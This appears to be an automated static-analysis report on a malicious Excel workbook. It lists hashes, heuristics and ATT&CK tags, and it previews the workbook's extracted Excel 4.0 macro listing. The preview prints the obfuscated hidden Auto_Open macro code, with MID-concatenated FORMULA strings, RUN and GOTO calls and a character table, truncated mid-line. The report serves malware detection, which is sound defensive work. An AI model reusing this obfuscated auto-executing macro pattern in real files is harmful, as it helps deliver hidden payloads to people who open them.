Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0055eb87b4918b6…

MALICIOUS

Office (OLE)

331.0 KB Created: 2020-05-22 11:08:37 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: c25083fe0f8f685b1c9a4e20ddc8bfb5 SHA-1: 7d8cf465390bd715f41eedd73442e054be37d00f SHA-256: f0055eb87b4918b64c3e93e22b3b6c62f98d865017f8fd245ba43588b01c689f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, a known method for executing malicious code. The macros contain calls to the RUN function, which is typically used to launch external executables or scripts. This suggests the file is designed to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 38876 bytes
SHA-256: d6024d55b6106e0c340c5d9c1d0b4b325835f94505979cbb8c9ec951f1d2299a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wIRPFxcmohEM4QAymZ9mwmmGMwln3
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!IM26991 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,FF707,"FORMULA(MID(CC42743,12,1)&MID(HY22776,2,1)&MID(HY22776,14,1)&MID(HY22776,1,1)&MID(CC42743,16,1)&MID(CC42743,19,1)&MID(IV30705,9,1)&MID(HY22776,14,1)&MID(Z54534,4,1)&MID(CC42743,3,1)&MID(CC42743,2,1)&MID(CC42743,5,1)&MID(CC42743,3,1)&MID(CC42743,4,1)&MID(Z54534,6,1)&MID(CC42743,18,1)&MID(Z54534,4,1)&MID(IV30705,14,1)&MID(CC42743,1,1)&MID(CC42743,1,1)&MID(Z54534,6,1)&MID(IV30705,13,1)&MID(CC42743,1,1)&MID(CC42743,4,1)&MID(CC42743,4,1)&MID(IV30705,10,1),FF708)",""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,FF709,RUN(IU64393),""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,JN1640,"FORMULA("23456789:;<=>?@ABCD",CC42743)",""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,JN1641,RUN(EV52724),""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,BI1831,"FORMULA(MID(CC42743,12,1)&MID(HY22776,5,1)&MID(HY22776,2,1)&MID(IV30705,9,1)&MID(HY22776,3,1)&MID(HY22776,1,1)&MID(HY22776,16,1)&MID(IV30705,15,1)&MID(HY22776,19,1)&MID(HY22776,5,1)&MID(HY22776,10,1)&MID(CC42743,19,1)&MID(HY22776,11,1)&MID(HY22776,19,1)&MID(IV30705,9,1)&MID(CC42743,1,1)&MID(CC42743,2,1)&MID(IV30705,10,1)&MID(CC42743,11,1)&MID(CC42743,2,1)&MID(IV30705,13,1)&MID(HY22776,3,1)&MID(HY22776,11,1)&MID(HY22776,16,1)&MID(HY22776,11,1)&MID(IV30705,9,1)&MID(HY22776,14,1)&MID(Z54534,4,1)&MID(CC42743,2,1)&MID(CC42743,7,1)&MID(CC42743,1,1)&MID(CC42743,6,1)&MID(CC42743,3,1)&MID(Z54534,6,1)&MID(CC42743,18,1)&MID(Z54534,4,1)&MID(IV30705,14,1)&MID(CC42743,2,1)&MID(IV30705,18,1)&MID(Z54534,6,1)&MID(IV30705,10,1)&MID(IV30705,13,1)&MID(IV30705,10,1),BI1832)",""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,BI1833,GOTO(BX20593),""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,FH3226,"FORMULA(MID(CC42743,12,1)&MID(HY22776,5,1)&MID(HY22776,2,1)&MID(IV30705,9,1)&MID(HY22776,3,1)&MID(HY22776,1,1)&MID(HY22776,16,1)&MID(IV30705,15,1)&MID(HY22776,19,1)&MID(HY22776,5,1)&MID(HY22776,10,1)&MID(CC42743,19,1)&MID(HY22776,11,1)&MID(HY22776,19,1)&MID(IV30705,9,1)&MID(CC42743,6,1)&MID(IV30705,10,1)&MID(IV30705,13,1)&MID(HY22776,3,1)&MID(HY22776,11,1)&MID(HY22776,16,1)&MID(HY22776,11,1)&MID(IV30705,9,1)&MID(HY22776,14,1)&MID(Z54534,4,1)&MID(CC42743,2,1)&MID(CC42743,5,1)&MID(CC42743,7,1)&MID(CC42743,6,1)&MID(CC42743,8,1)&MID(Z54534,6,1)&MID(CC42743,18,1)&MID(Z54534,4,1)&MID(IV30705,14,1)&MID(IV30705,18,1)&MID(CC42743,2,1)&MID(CC42743,3,1)&MID(Z54534,6,1)&MID(IV30705,10,1)&MID(IV30705,13,1)&MID(IV30705,10,1),FH3227)",""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,FH3228,GOTO(GE36480),""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,HP4574,"FORMULA(MID(CC42743,12,1)&MID(CC42743,16,1)&MID(HY22776,12,1)&MID(HY22776,12,1)&MID(IV30705,15,1)&MID(HY22776,9,1)&MID(CC42743,16,1)&MID(Z54534,1,1)&MID(HY22776,5,1)&MID(HY22776,9,1)&MID(HY22776,5,1)&MID(Z54534,3,1)&MID(HY22776,1,1)&MID(IV30705,9,1)&MID(IV30705,10,1),HP4575)",""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,HP4576,RUN(FH3226),""
'  wIRPFxcmohEM4QAymZ9mwmmGMwln3,IK8622,"FORMULA(MID(EV57666,12,1)&MID(IF54430,3,1)&MID(EB12261,16,1)&MID(IS1436,17,1)&MID(IS1436,14,1)&MID(IF54430,1,1)&MID(O12108,13,1)&MID(O12108,5,1)&MID(O12108,8,1)&MID(O12108,1,1)&MID(IS1436,11,1)&MID(O12108,5,1)&MID(O12108,5,1)&MID(O12108,1,1)&MID(IF54430,1,1)&MID(IS1436,12,1)&MID(IS1436,10,1)&MID(O12108,4,1)&MID(O12108,4,1)&MID(O12108,5,1)&MID(O12108,10,1)&MID(IF54430,1,1)&MID(IS1436,11,1)&MID(IS1436,14,1)&MID(IF54430,1,1)&MID(O12108,5,1)&MID(O12108,6,1)&MID(IS1436,14,1)&MID(O12108,4,1)&MID(IS1436,14,1)&MID(IS1436,13,1)&MID(IF54430,1,1)&MID(O12108,5,1)&MID(O12108,8,1)&MID(IF54430,1,1)&MID(O12108,8,1)&MID(IS1436,14,1)&MID(O12108,6,1)&MID(IS1436,10,1)&MID(IS1436,18,1)&MID(O12108,8,1)&MID(IS1436,14,1)&MID(IS1436,13,1)&MID(IF54430,1,1)&MID(IS1436,11,1)&MID(O1210
... (truncated)